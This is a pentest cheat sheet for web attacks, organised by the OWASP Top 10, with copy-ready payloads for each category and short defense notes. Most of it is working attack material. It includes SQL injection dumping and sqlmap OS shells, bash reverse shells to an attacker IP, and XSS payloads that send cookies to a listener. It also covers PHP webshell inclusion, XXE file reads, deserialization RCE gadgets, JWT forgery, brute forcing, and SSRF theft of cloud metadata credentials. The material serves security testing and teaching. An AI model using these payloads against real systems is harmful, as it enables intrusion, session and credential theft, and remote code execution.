OWASP Top 10
10 categories
The ten categories that define web risk, each a working reference and not a definition. Payloads copy line by line; set $_ vars and every command fills with your target and IP.
A01 Broken Access Control critical IDOR · forced browsing · privilege escalation · path traversal
The application fails to enforce who is allowed to do what. A user can reach data or actions beyond their role by changing an identifier, a parameter, or a URL. IDOR (Insecure Direct Object Reference) is the most common form: an object id in the request points straight at a record with no ownership check. It moved to number one in 2021 because it is everywhere and it is found by hand, not by a scanner.
Log in as a low-privilege user, proxy everything through Burp, and look for any identifier you control: numeric ids, UUIDs, usernames, filenames, and role or user_id fields in bodies. Then change them. Two accounts side by side is the cleanest test: capture user A resources, replay them as user B.
Horizontal access (another user's data, same role)
Change the object reference to one you do not own. A 200 with someone else's data confirms it.
Numeric id in the path: walk it toward low ids (admin is often 1)
GET /api/user/1337 -> GET /api/user/1
Order / invoice history is a classic IDOR sink
GET /api/orders/9812 -> GET /api/orders/1
Predictable filenames in a download param
GET /download?file=user_1337_invoice.pdf -> file=user_1_invoice.pdf
Ownership id in the request body
POST /api/update-profile {"user_id": 5, ...} -> {"user_id": 1, ...}Try acting on an object you do not own (write-side IDOR)
DELETE /api/post/456
Vertical access (do what a higher role can)
Reach admin functionality as a normal user, or tamper a role field the server trusts.
Mass-assignment: set the role the app forgot to protect
POST /api/update-profile {"user_id": 5, "role": "admin"}Call the admin endpoint directly (missing server-side auth check)
POST /api/admin/delete-user {"target_id": 1}Forced browsing: hit privileged paths the UI never links you to
GET /admin/
Client-trusted authorization flag in a cookie or hidden field
Cookie: isAdmin=false -> isAdmin=true
Path traversal (read files outside the web root)
When a parameter names a file on disk, walk out of the intended directory.
Basic traversal: prove the read, then pivot to config and keys
../../../etc/passwd
URL-encode the slashes when raw ../ is filtered
..%2f..%2f..%2fetc%2fpasswd
Nested traversal: survives a non-recursive strip of ../
....//....//....//etc/passwd
Absolute or deep-relative when the app prepends a base path
/download?file=../../../../etc/shadow
Enumerate ids at scale (Burp Intruder)
Automate the id sweep, then sort by response length or status to spot the hits.
Sweep ids from the shell: match 200, filter the empty-body size
ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 1 2000) -mc 200 -fs 0
Forced-browsing sweep for hidden privileged paths
ffuf -u "http://<TARGET>/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
defense Enforce authorization server-side on every request, deny by default, and key every object lookup to the authenticated session (never to a client-supplied id or role). Use unpredictable references and reject traversal sequences.
refs OWASP A01:2021 ↗PortSwigger: access control ↗PortSwigger: IDOR ↗
A02 Cryptographic Failures high plaintext data · weak hashing · hardcoded keys · weak TLS
Sensitive data is exposed because crypto is missing, weak, or misused: secrets sent or stored in the clear, passwords hashed with fast or unsalted algorithms (MD5, SHA1), hardcoded keys in source, or transport that allows downgrade. The impact is disclosure of credentials, tokens, PII, and card data. Formerly named Sensitive Data Exposure.
Watch what crosses the wire and what sits in responses, source, and storage. Look for tokens in URLs, secrets in JS bundles and git history, cookies missing Secure, and any hash you can identify. Then crack, decode, or replay.
Find secrets in what the app already gives you
Client-side source, comments, and history leak keys constantly.
Grep the JS bundle for embedded secrets
curl -s http://<TARGET>/main.js | grep -iE "api[_-]?key|secret|token|password|aws_"
Scan a cloned repo for committed keys and tokens
gitleaks detect --source . -v
Hunt live, verified secrets across git history
trufflehog git file://. --only-verified
Exposed .git: pull it, then git log for secrets and old code
curl -s http://<TARGET>/.git/config && wget -r http://<TARGET>/.git/
Identify and crack weak hashes
Recover the hash, name the algorithm, then attack it offline.
Identify the algorithm from the hash format
hashid '<HASH>' # or: hash-identifier
Crack raw MD5 (mode 0). SHA1 = -m 100, bcrypt = -m 3200
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
John autodetects many formats
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Decode Base64 (encoding is not encryption): here admin:admin
echo -n 'YWRtaW46YWRtaW4=' | base64 -d
Inspect transport and cookie protection
Downgradeable TLS and cookies without Secure leak the session.
Enumerate protocols and ciphers: flag SSLv3, TLS 1.0/1.1, weak suites
sslscan <TARGET>:443
Full TLS audit: Heartbleed, ROBOT, weak ciphers, cert issues
testssl.sh https://<TARGET>
Session cookie missing Secure / HttpOnly is interceptable
curl -sI https://<TARGET> | grep -i "set-cookie"
defense Encrypt sensitive data in transit (TLS 1.2+, HSTS) and at rest. Hash passwords with a slow salted KDF (bcrypt, scrypt, Argon2), never MD5/SHA1. Keep keys out of source, rotate them, and never put secrets in URLs.
A03 Injection critical SQLi · command injection · XSS · LFI/RFI · NoSQL
Untrusted input is interpreted as code or query syntax by an interpreter downstream: SQL, the OS shell, the browser (XSS), a file include, or a NoSQL engine. Because the input crosses from data into instructions, the attacker rewrites what the server or the victim's browser does. In 2021 XSS is folded into this category. This is the richest hunting ground in web, so it carries the most depth here.
Reach every input: GET and POST params, JSON fields, cookies, and headers (User-Agent, Referer, X-Forwarded-For). Send one metacharacter at a time and watch for errors, changed responses, timing shifts, or reflected content. Confirm the class first, then exploit.
SQLi: detection payloads
One at a time into any parameter. An error, a changed page, or a delay confirms it.
The classic: a single quote breaks an unquoted string context
'
Auth-bypass / always-true tautology
' OR 1=1-- -
Same page then different page = boolean-based injection
1 AND 1=1 vs 1 AND 1=2
Increase the number until it errors: last success = column count
1' ORDER BY 1-- -
A 5s delay = blind injection (MySQL). No visible output needed
' AND SLEEP(5)-- -
SQLi: extraction (union + error + blind)
Once the class is known, pull data. Match your column count from ORDER BY.
Balance columns with NULLs until the page renders
' UNION SELECT NULL,NULL-- -
Fingerprint: current user, DB name, version in visible columns
' UNION SELECT user(),database(),version()-- -
Enumerate tables in the current database
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
Dump credentials from the target table
' UNION SELECT username,password FROM users-- -
Error-based: leak data inside the error message (MySQL)
' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -
Read a file (MySQL, needs FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -SQLi: sqlmap
Automate once you have found the parameter. A saved Burp request is the fastest start.
Point-and-go on a GET parameter
sqlmap -u "http://<TARGET>/page.php?id=1" --batch
From a saved Burp request (mark the injection point with *)
sqlmap -r request.txt --batch
Enumerate databases, then -D <db> --tables, then --dump
sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dbs
Escalate SQLi to an OS shell (stacked queries / file write)
sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch
Aggressive + WAF bypass via tamper scripts
sqlmap -u "http://<TARGET>/page.php?id=1" --level=5 --risk=3 --tamper=between,space2comment --batch
Command injection
Append shell metacharacters to any input that reaches a system command.
Chain a command with ; (also try | , || , && , `id` , $(id) )
;id
Blind confirmation: a 5s delay proves execution
;sleep 5
Out-of-band proof: catch the callback on your listener
;curl http://<YOUR-IP>/hit
Reverse shell (URL-encode when in an HTTP parameter)
;bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1
Space filtered? ${IFS} substitutes the separator
cat${IFS}/etc/passwdKeyword filtered? Break it with quotes: c'a't, ca\t, who$@ami
c'a't /etc/passwd
XSS: confirmation payloads
Reflected, stored, or DOM. Raw tags are never touched by the Variable Console, so these copy exactly.
Baseline: fires when the sink allows a raw script tag
<script>alert(1)</script>
No script tag needed: event handler on a broken image
<img src=x onerror=alert(1)>
Compact, survives many naive filters
<svg onload=alert(1)>
Break out of an attribute value first, then inject
"><script>alert(1)</script>
Show the executing origin (proves context for the report)
"><img src=x onerror=alert(document.domain)>
Case-flip to defeat a case-sensitive blocklist
<ScRiPt>alert(1)</ScRiPt>
XSS: weaponized (steal the session)
Point the exfil at your listener (python3 -m http.server 80). Impact turns a pop-up into a finding.
Quiet exfil of cookies via fetch, base64-wrapped
<script>fetch('http://<YOUR-IP>/?c='+btoa(document.cookie))</script>Cookie theft when script tags are blocked
<img src=x onerror="this.src='http://<YOUR-IP>/?c='+document.cookie">
Image-beacon exfil, no visible request
<script>new Image().src='http://<YOUR-IP>/?c='+document.cookie</script>
LFI / RFI and PHP wrappers
When a param includes a file, read local files or reach code execution.
Local file read: confirm with /etc/passwd, then hunt configs and keys
?page=../../../../etc/passwd
Read PHP source (Base64) without executing it, then decode
?page=php://filter/convert.base64-encode/resource=index.php
data:// wrapper: inline PHP to RCE (needs allow_url_include)
?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
Log poisoning: inject PHP via User-Agent, then include the log
?page=/var/log/apache2/access.log&cmd=id
Step 1 of log poisoning: plant the payload in the access log
curl -s http://<TARGET>/ -H 'User-Agent: <?php system($_GET["cmd"]); ?>'
RFI: include remote PHP from your server for direct RCE
?page=http://<YOUR-IP>:8080/rfi_shell.php&cmd=id
NoSQL injection
MongoDB and friends: operators in the query bypass authentication and leak data.
Operator injection in a form body: not-equal bypasses login
username[$ne]=1&password[$ne]=1
Same idea in a JSON body: match any non-null user
{"username": {"$ne": null}, "password": {"$ne": null}}Blind extraction: brute the password char by char via $regex
{"username": "admin", "password": {"$regex": "^a"}}defense Never build interpreter strings from input. Use parameterized queries / prepared statements for SQL, avoid the shell (use argument arrays and allowlists), context-encode all output and set a strong CSP for XSS, and disable remote includes and dynamic file paths.
refs OWASP A03:2021 ↗PortSwigger: SQL injection ↗PortSwigger: XSS ↗PortSwigger: OS command injection ↗
A04 Insecure Design high logic flaws · missing limits · abusable workflows
The flaw is in the design, not a coding bug: a missing control, a trusting workflow, or an abusable business rule. No amount of clean code fixes a feature that was never meant to be safe. Examples: a password reset with no rate limit, a checkout that trusts a client-side price, a coupon that stacks forever, or a multi-step flow you can complete out of order.
Think like an abuser of the feature, not a scanner. Map every workflow and ask: what does the server assume the client will not do? Then do exactly that. Replay steps, skip steps, send negative or huge numbers, and race the same action in parallel.
Abuse the business logic
Tamper the values and the order the app trusts you to respect.
Trusted client-side price: set your own total
POST /cart/checkout {"item": 1, "price": 999.00} -> {"price": 0.01}Negative quantity can credit the balance instead of charging
{"quantity": -5}Missing single-use / stacking check on a discount
Apply coupon SAVE20 ... then replay the request 20x
Skip a step the server assumed was already done
Complete step 3 without steps 1-2 (POST /flow/confirm directly)
Missing rate limits and anti-automation
If a sensitive action can be repeated fast, it will be.
Brute a 4-digit OTP with no lockout
ffuf -u "http://<TARGET>/verify?otp=FUZZ" -w <(seq -w 0 9999) -mc 200 -fs 0
Hammer password reset: no throttle = enumeration + spam vector
for i in $(seq 1 50); do curl -s -X POST http://<TARGET>/reset -d "email=<USER>"; done
defense Threat-model the feature before building it. Enforce limits, quotas, and single-use on sensitive actions; re-validate every value and every step server-side; and never trust price, role, quantity, or state that came from the client.
A05 Security Misconfiguration high default creds · verbose errors · dir listing · XXE · CORS
The stack is insecure out of the box: default accounts left enabled, admin panels exposed, directory listing on, verbose stack traces, unnecessary services, or permissive CORS. In 2021 XXE (XML External Entity) is folded in here, since it is a parser configuration left dangerously open. These are the fastest wins because you often just have to look.
Fingerprint the stack, then check the known soft spots: default logins, exposed admin and status endpoints, backup and config files, error verbosity, security headers, and any XML parser you can feed an entity to.
Fingerprint and surface the config
Content discovery plus header inspection reveals most misconfigurations.
Identify the stack and read response headers
whatweb http://<TARGET> && curl -sI http://<TARGET>
Flags default files, dangerous methods, missing headers, known issues
nikto -h http://<TARGET>
Find backups, configs, and admin paths left on disk
gobuster dir -u http://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,bak,zip,config,old
Exposed status page / .env file leaks internals and secrets
curl -s http://<TARGET>/server-status && curl -s http://<TARGET>/.env
Default credentials
Try the vendor defaults before anything clever. They work far too often.
The universal shortlist for exposed login panels
admin:admin admin:password root:root tomcat:tomcat
Spray a default-creds list at a protected path
hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt <TARGET> http-get /admin
XXE (XML External Entity)
Any endpoint that parses XML you supply: file read, SSRF, and sometimes RCE.
Classic file read via an external entity
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
Blind / OOB XXE: force the parser to call back to you
<!DOCTYPE r [<!ENTITY x SYSTEM "http://<YOUR-IP>/xxe">]>
Read PHP source through the parser via a filter wrapper
<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
Permissive CORS
A reflected origin with credentials lets a malicious site read authenticated responses.
If ACAO reflects evil.com and ACAC is true, cross-origin theft is possible
curl -s -I http://<TARGET>/api/me -H "Origin: https://evil.com"
defense Harden and minimize: remove defaults and unused features, disable directory listing and verbose errors, set security headers, lock down CORS to an allowlist, and disable DTD / external entities in every XML parser.
A06 Vulnerable and Outdated Components high known-CVE libraries · unpatched services · dependency risk
The app runs a component with a public, exploitable vulnerability: an old CMS, an unpatched framework, a stale JS library, or a service version with a known CVE. You do not find a new bug, you match a version to an existing exploit. Log4Shell and countless CMS RCEs live here.
Fingerprint every version you can see: server headers, framework banners, JS library versions, CMS generator tags. Then search for a matching public exploit. Precision on the version is the whole game.
Fingerprint versions
Get an exact version string before searching for an exploit.
Aggressive fingerprint: server, framework, CMS, and versions
whatweb -a 3 http://<TARGET>
Read version hints out of the HTML and asset URLs
curl -s http://<TARGET>/ | grep -iE "generator|version|jquery|bootstrap"
Service and version detection across all ports
nmap -sV --script=banner -p- <TARGET>
CMS scanners
Purpose-built enumeration for the common platforms.
WordPress: vulnerable plugins/themes and user enumeration
wpscan --url http://<TARGET> --enumerate vp,u --api-token <WPSCAN-TOKEN>
Drupal version and module enumeration
droopescan scan drupal -u http://<TARGET>
Joomla component and version enumeration
joomscan --url http://<TARGET>
Match to a public exploit
Turn the version into a working exploit path.
Local Exploit-DB search by product and version
searchsploit apache 2.4.49
Copy an exploit locally to read and run it
searchsploit -m 50383
Broad vuln-script sweep for known-CVE services
nmap --script vuln -p- <TARGET>
defense Maintain a live inventory (SBOM), track advisories for every dependency, and patch on a schedule. Remove unused components and pin versions so an audit is possible.
A07 Identification and Authentication Failures high brute force · credential stuffing · weak session · JWT flaws
Authentication is weak or breakable: no brute-force protection, weak or default passwords, username enumeration, guessable or fixated sessions, broken password reset, or flawed JWT validation. Once identity is forgeable, every other control downstream is moot.
Probe the login and account-recovery flows: does it reveal whether a user exists? Does it lock out? Is the session token predictable or accepted after logout? Inspect any JWT for a weak or none algorithm.
Enumerate users, then brute / spray
Different responses for valid vs invalid users make brute force efficient.
Username enumeration: filter the "no such user" response
ffuf -u http://<TARGET>/login -X POST -d "user=FUZZ&pass=x" -w users.txt -fr "Invalid username"
Brute force with a failure string as the negative marker
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
Password brute against a service (ssh, ftp, rdp, ...)
hydra -l <USER> -P passwords.txt <TARGET> ssh
Credential stuffing / spraying beats per-account lockouts
Spray one password across many users (avoid lockout)
Session weaknesses
A token that is guessable, fixated, or valid after logout is a full bypass.
Session not invalidated on logout = reusable session
Log in, note the cookie, log out, replay the old cookie
Fixation: the app keeps your pre-auth session after login
Set a known session id before login, see if it persists (fixation)
Measure token entropy: low randomness = predictable sessions
burpsuite -> Sequencer on the session token
JWT attacks
Inspect the token, then attack the algorithm or the signing key.
Decode the payload: read the claims (role, exp, user)
echo <JWT> | cut -d. -f2 | base64 -d
alg:none attack: strip the signature if the server trusts it
python3 jwt_tool.py <JWT> -X a
Crack a weak HS256 secret offline, then forge any token
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
defense Enforce MFA, rate-limit and lock out brute force, and ban weak or breached passwords. Issue high-entropy session tokens, rotate on login, invalidate on logout, and validate JWT algorithm and signature strictly server-side.
A08 Software and Data Integrity Failures high insecure deserialization · unsigned updates · CI/CD trust
The app trusts code or data whose integrity it never verified: unsigned updates, plugins from untrusted sources, a compromised build pipeline, or serialized objects accepted from the client. Insecure deserialization is the flagship: a crafted serialized blob triggers code execution when the server rebuilds the object.
Look for serialized data crossing a trust boundary: base64 blobs in cookies and parameters, __VIEWSTATE, Java or PHP or Python serialized formats, and any auto-update or plugin mechanism that does not check a signature.
Spot serialized data
Recognize the format before you attack it.
A cookie/param starting rO0AB is a Java object
rO0AB... -> Java serialized (base64 of 0xACED0005)
PHP serialize() output, often in a cookie
O:4:"User":2:{...} -> PHP serialized objectDecode and inspect the magic bytes to identify the format
echo <BLOB> | base64 -d | xxd | head
Exploit deserialization
Generate a gadget-chain payload, then deliver it where the blob is parsed.
Java: build an RCE gadget chain (pick the chain that matches libs)
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1' | base64
PHP: generate a gadget-chain payload (base64) with PHPGGC
phpggc Symfony/RCE4 system id -b
Python: a pickle that runs id on load (never unpickle untrusted data)
python3 -c "import pickle,os,base64;print(base64.b64encode(pickle.dumps(type('x',(),{'__reduce__':lambda s:(os.system,('id',))})())).decode())"defense Never deserialize untrusted data; if you must, use a data-only format (JSON) with strict schemas and no object instantiation. Sign and verify updates and artifacts, pin dependencies by hash, and secure the CI/CD pipeline.
A09 Security Logging and Monitoring Failures medium no audit trail · missed alerts · slow detection
Attacks are not logged, alerts do not fire, and no one is watching, so breaches go undetected for months. This rarely gives direct access, but it shapes the engagement: it is why loud attacks succeed, and it is a real, reportable finding. As an operator, it also tells you how much noise you can make.
Test whether meaningful events are recorded and surfaced: failed logins, access-control denials, input validation failures, and admin actions. Trigger them and ask the defender (or check the logs on an assumed-breach engagement) whether anything registered.
Probe detection coverage
Generate the events a competent SOC should catch, then see if they did.
20 failed logins: is there any lockout, alert, or log entry?
for i in $(seq 1 20); do curl -s -o /dev/null http://<TARGET>/login -d "user=admin&pass=wrong$i"; done
An obvious attack string: does a WAF or monitor react?
curl -s "http://<TARGET>/?q=' OR 1=1-- -"
Assumed-breach: confirm whether your actions were recorded at all
grep -riE "fail|denied|error" /var/log/ 2>/dev/null | tail
defense Log auth, access-control, and validation failures with enough context to trace them, ship logs to a tamper-resistant store, alert on suspicious patterns in near-real-time, and rehearse incident response so alerts lead to action.
refs OWASP A09:2021 ↗
A10 Server-Side Request Forgery (SSRF) high cloud metadata · internal port scan · protocol smuggling
The server can be tricked into making requests to a destination the attacker chooses. Any feature that fetches a URL (webhooks, PDF/image generators, URL previews, imports) is a candidate. Because the request originates from inside, it reaches internal services, and on cloud it reaches the metadata endpoint that hands out credentials.
Find every input that becomes a server-side request: url=, image=, webhook, callback, next. Point it at yourself first to confirm the server fetches it, then pivot to internal addresses, localhost, and the cloud metadata IP.
Confirm and map internal reach
Prove the server fetches your URL, then turn it inward.
First: point it at your listener to confirm a server-side fetch
url=http://<YOUR-IP>/ssrf-probe
Reach loopback services the firewall hides from outside
url=http://127.0.0.1:80/ (then 8080, 6379, 3306, 8000)
Internal port scan via SSRF: response differences reveal open ports
ffuf -u "http://<TARGET>/fetch?url=http://127.0.0.1:FUZZ" -w <(seq 1 10000) -fs 0
Cloud metadata (credential theft)
The 169.254.169.254 endpoint returns temporary cloud credentials to anything inside.
AWS: list the IAM role, then append the role name for keys
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS: retrieve AccessKeyId, SecretAccessKey, and Token
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
GCP metadata (needs the Metadata-Flavor header)
url=http://metadata.google.internal/computeMetadata/v1/ (Header: Metadata-Flavor: Google)
Bypass SSRF filters
When localhost or the metadata IP is blocklisted, encode around it.
Alternate encodings of 127.0.0.1 (decimal, IPv6, short forms)
http://127.1/ http://0/ http://[::]/ http://2130706433/
DNS rebinding / attacker-controlled name resolving inward
http://localhost.<YOUR-DOMAIN>/ (DNS record -> 127.0.0.1)
Protocol smuggling: gopher:// to talk to Redis/SMTP internally
gopher://127.0.0.1:6379/_<REDIS-PAYLOAD>
defense Do not fetch user-supplied URLs; if you must, allowlist the destination host and scheme, resolve and validate the IP (block private and link-local ranges), disable redirects and unused protocols, and require the metadata service to use session tokens (IMDSv2).